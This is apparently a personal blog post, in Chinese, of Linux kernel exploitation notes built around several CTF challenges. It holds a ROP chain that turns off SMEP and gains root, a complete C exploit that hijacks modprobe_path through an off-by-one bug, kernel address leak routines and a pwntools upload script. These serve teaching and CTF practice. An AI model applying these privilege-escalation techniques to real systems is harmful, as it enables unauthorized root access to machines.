Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

由一个Kernel Pwn引发的血案

趁热把kernel pwn的一些东西整理一下。

前置知识

KASLR

内核地址空间布局随机化,并不默认开启,需要在内核命令行中添加指定指令。

代码段和模块基地址

通过在启动时( CONFIG_RANDOMIZE_BASE)对内核的物理和虚拟地址的基地址进行重定位。另外,随机加载基地址意味着系统每次启动以相同的顺序加载相同的模块不会共享同样的基地址。

栈基

如果内核栈的基地址对于不同的进程甚至系统调用都不一样,攻击将变得很困难。

动态内存基

根据早期启动的初始化,太多的内核动态内存(比如kmalloc, vmalloc, etc)都有相对确定性的内存布局。如果这些区域的基地址在不同的启动是不同的,攻击会受挫,从而需要特定区域的信息泄漏。

SMEP&SMAP

SMEP是2012年在Intel Ivybridge中加入的特性,而SMAP则在2014年的Intel Broadwell中加入。其作用分别是禁止内核访问用户空间的数据和禁止内核执行用户空间的代码。当程序处于内核空间时,在保护开启的情况下,访问或执行内核数据将会发生错误。

CISCN 2017 babydriver

UAF

常规方法,利用UAF修改cred以达到提权的目的。

Bypass SMEP & ret2usr

当内核开启了SMEP后,无法在内核空间直接执行用户空间代码,因此需要绕过SMEP保护来提权。系统根据CR4寄存器的第20位判断是否开启SMEP保护,CR4寄存器的值可通过诸如mov cr4, xxx来修改。为了关闭SMEP,通常向CR4寄存器写入0x6f0。

通过open("/dev/ptmx", O_RDWR)来让内核分配一个tty_struct结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

主要关注第五个成员const struct tty_operations *ops

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

它是一个函数表,当操作打开的/dev/ptmx时,会调用tty_operations中相应的函数。通过劫持函数表来stack pivot进而通过ROP关闭SMEP并返回到用户空间代码。tty_struct使用大小为0x400的slab(0x200~0x400,具体原因可见slab的划分),但tty_operations并不通过slab分配。

解压bzImage获取vmlinux,使用Ropper获取gadget。

1
2
3
sudo apt-get install linux-headers-$(uname -r)
sudo /usr/src/linux-headers-$(uname -r)/scripts/extract-vmlinux bzImage > vmlinux
Ropper.py --file vmlinux --nocolor > gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
tty_operations.ioctl = xchg_esp_eax;
fake_stack = mmap(xchg_esp_eax & 0xfffff000, 0x3000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
rop[0] = p_rxx;
rop[1] = 0x6f0 ;
rop[2] = write_cr4; // mov cr4, rxx
rop[3] = get_root;
rop[4] = swapgs;
rop[5] = iretq;
rop[6] = get_shell;
rop[7] = user_cs;
rop[8] = user_eflags;
rop[9]= user_sp;
rop[10]= user_ss;
memcpy(xchg_esp_eax & 0xffffffff, data, sizeof(data));

/**
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}

or use mmap area for rsp

unsigned long user_cs, user_ss, user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
**/

ROP链如上,在对打开的/dev/ptmx进行操作时,执行xchg eax, esp,这个时候rax的值是xchg eax, esp的地址,使得栈被迁移到了我们可控的地方xchg_esp_eax & 0xffffffff。0到2步即修改CR4的值来关闭SMEP,第3步提权,接着4到5步用于返回用户空间(使用iretq指令返回到用户空间,在执行iretq之前,执行swapgs【64bit下】指令。该指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据结构的指针,然后才能执行系统调用之类的内核空间程序)。

iretq栈布局:

1
2
3
4
5
6
7
8
9
10
11
|----------------------|
| RIP |<== low mem
|----------------------|
| CS |
|----------------------|
| EFLAGS |
|----------------------|
| RSP |
|----------------------|
| SS |<== high mem
|----------------------|

0CTF 2017 knote

[Working Hard]

Midnight Sun CTF Quals hfsipc

off-by-one漏洞,能够向后溢出一个字节,slab的结构使得移出一个字节时能够直接修改fd。通过修改fd能够任意地址读写。

Hijack cred

找到cred所在的slab区域,将对应的0x3e8改为0x0。

Hijack modprobe

当系统遇到无法识别格式的程序时,会运行modprobe_path指向的程序进行调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/ipc.h>
#include <sys/wait.h>
#include <sys/sem.h>
#define CHANNEL_CREATE 0xABCD0001
#define CHANNEL_DELETE 0xABCD0002
#define CHANNEL_READ 0xABCD0003
#define CHANNEL_WRITE 0xABCD0004

struct channel_info {
long id;
long size;
char *buffer;
};

// Create a new hfs channel
void create_channel(int fd, int id, int size) {
struct channel_info channel;

channel.id = id;
channel.size = size;

ioctl(fd, CHANNEL_CREATE, &channel);
printf("[+] Create %d channel\n", id);
}

// Delete hfs channel
void delete_channel(int fd, long id) {
ioctl(fd, CHANNEL_DELETE, &id);
printf("[+] Delete %d channel\n", id);
}

// Read from hfs channel into dest
void read_channel(int fd, int id, char *dest, int size) {
struct channel_info channel;

channel.id = id;
channel.size = size;
channel.buffer = dest;

ioctl(fd, CHANNEL_READ, &channel);
printf("[+] Read %d channel\n", id);
}

// Write into hfs channel from src
void write_channel(int fd, int id, char *src, int size) {
struct channel_info channel;

channel.id = id;
channel.size = size;
channel.buffer = src;

ioctl(fd, CHANNEL_WRITE, &channel);
printf("[+] Write %d channel\n", id);
}

void trigger() {
system("/home/user/ll");
system("cat /home/user/flag");
}

void exploit() {
system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /home/user/flag\n/bin/chmod 777 /home/user/flag' > /home/user/getflag.sh");
system("chmod +x /home/user/getflag.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/ll");
system("chmod +x /home/user/ll");

printf("[+] Open hfs device\n");
int fd = open("/dev/hfs", O_RDWR);

printf("[+] Create initial channels\n");

char buf[0x1000];
unsigned long long** payload = (unsigned long long**)buf;
unsigned long long modprobe_addr = 0xffffffff81a3f7a0;
memset(buf, 0, 0x1000);
int count = 1;
for (count = 1; count < 0x11; count++) {
if (count == 5) {
create_channel(fd, 0, 0x20);
} else {
create_channel(fd, count, 0x20);
}
}
delete_channel(fd, 7);
buf[0x20] = '\x20';
write_channel(fd, 6, buf, 0x21);

create_channel(fd, 0x20, 0x20);

for (count = 1; count < 5; count++) {
delete_channel(fd, count);
}

payload[0] = 0x30;
payload[1] = modprobe_addr;
payload[2] = 0x100;

write_channel(fd, 0x20, payload, 0x18);
strcpy(buf, "/home/user/getflag.sh");
write_channel(fd, 0x30, buf, 0x20);

trigger();

close(fd);
}

int main() {
exploit();
return 0;
}

*CTF 2019 hackme

比赛调的时候把smap关掉了,结果在开启kaslr+smep的情况下做出来了,但是没绕过smap。

参考Balsn的exploit:https://balsn.tw/ctf_writeup/

驱动中的读和写函数存在if检查绕过的情况,使得对slab的读、编辑操作可以向前溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if ( v3 == 0x30002 )                        // edit
{
idx = 2LL * args;
chunk_ptr = POOL[idx];
node_addr = &POOL[idx];
if ( chunk_ptr && offset + size <= (unsigned __int64)node_addr[1] )
{
copy_from_user(offset + chunk_ptr, buffer, size);
return 0LL;
}
}
else if ( v3 == 0x30003 ) // read
{
idx = 2LL * args;
chunk_ptr = POOL[idx];
node_addr = &POOL[idx];
if ( chunk_ptr )
{
if ( offset + size <= (unsigned __int64)node_addr[1] )
{
copy_to_user(buffer, offset + chunk_ptr, size);
return 0LL;
}
}
}
return -1LL;

首先通过向前读来泄漏slab和内核堆地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
size_t get_heapaddr(int fd) {
char buf[0x400];
memset(buf, '\x00', 0x400);

add(fd, 0, buf, 0x100);
add(fd, 1, buf, 0x100);
add(fd, 2, buf, 0x100);

delete(fd, 0);
delete(fd, 1);

show(fd, 2, readbuf, 0x100, -0x100);

delete(fd, 2);

return readbuf[0];
}

size_t get_kerneladdr(int fd) {
char buf[0x400];
memset(buf, '\x00', 0x400);

add(fd, 0, buf, 0x400);

show(fd, 0, readbuf, 0xa00, -0xa00);

//size_t i = 0;
//for (i = 0; i < 0xa00/8; i++)
// printf("%d=%llx\n", i, readbuf[i]);

delete(fd, 0);

return readbuf[25];
}

SMEP开启的情况下

SMEP&SMAP开启的情况下

musl-gcc

从官网下载source code。

1
2
3
sudo ./configure && sudo make install
sudo cp ./obj/musl-gcc /bin/
musl-gcc --static -Os source.c -o output

Using SSH in pwntools

马克一下大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/python
from pwn import *

HOST = "35.221.78.115"
PORT = 10022

USER = "pwn"
PW = "pwn"

def compile():
log.info("Compile")
os.system("musl-gcc -w -s -static -o3 pwn2.c -o pwn")

def exec_cmd(cmd):
r.sendline(cmd)
r.recvuntil("$ ")

def upload():
p = log.progress("Upload")

with open("pwn", "rb") as f:
data = f.read()

encoded = base64.b64encode(data)

r.recvuntil("$ ")

for i in range(0, len(encoded), 300):
p.status("%d / %d" % (i, len(encoded)))
exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300]))

exec_cmd("cat benc | base64 -d > bout")
exec_cmd("chmod +x bout")

p.success()

def exploit(r):
compile()
upload()

r.interactive()

return

if __name__ == "__main__":
if len(sys.argv) > 1:
session = ssh(USER, HOST, PORT, PW)
r = session.run("/bin/sh")
exploit(r)
else:
r = process("./startvm.sh")
print util.proc.pidof(r)
pause()
exploit(r)

参考资料

https://bbs.pediy.com/thread-226696.htm

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/linux-kernel-rop-ropping-your-way-to-part-1/

https://hardenedlinux.github.io/system-security/2016/05/23/kernel_self_protection.html

https://blog.packagecloud.io/eng/2016/03/08/how-to-extract-and-disassmble-a-linux-kernel-image-vmlinuz/

https://xz.aliyun.com/t/2054

https://kileak.github.io/ctf/2019/xctf-hackme/

http://p4nda.top/2018/10/11/ciscn-2017-babydriver/

https://github.com/pwning/public-writeup/tree/master/0ctf2017/knote